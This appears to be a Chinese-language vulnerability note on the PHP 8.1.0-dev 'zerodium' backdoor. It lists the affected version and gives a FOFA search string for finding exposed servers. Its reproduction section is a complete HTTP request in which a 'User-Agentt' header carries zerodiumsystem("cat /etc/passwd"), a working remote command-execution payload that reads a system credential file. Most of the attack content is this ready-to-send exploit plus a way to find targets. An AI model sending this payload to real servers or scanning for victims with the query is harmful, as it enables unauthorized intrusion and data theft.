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30 lines
1.0 KiB
Markdown
30 lines
1.0 KiB
Markdown
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# PHP-8.1.0-dev zerodium后门命令执行漏洞
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# 一、漏洞简介
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PHP 8.1.0-dev 版本在2021年3月28日被植入后门，但是后门很快被发现并清除。当服务器存在该后门时，攻击者可以通过发送`User-Agentt`头来执行任意代码。
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# 二、影响版本
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+ PHP/8.1.0-dev
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# 三、资产测绘
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+ fofa`"PHP/8.1.0-dev"`
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+ 特征
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# 四、漏洞复现
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```plain
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GET / HTTP/1.1
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Host: xx.xx.xx.xx
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User-Agentt: zerodiumsystem("cat /etc/passwd");
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
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Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
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Accept-Encoding: gzip, deflate, br
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```
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> 更新: 2024-09-05 23:27:24
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> 原文: <https://www.yuque.com/xiaokp7/ocvun2/wr81rdntsr6nz25n>
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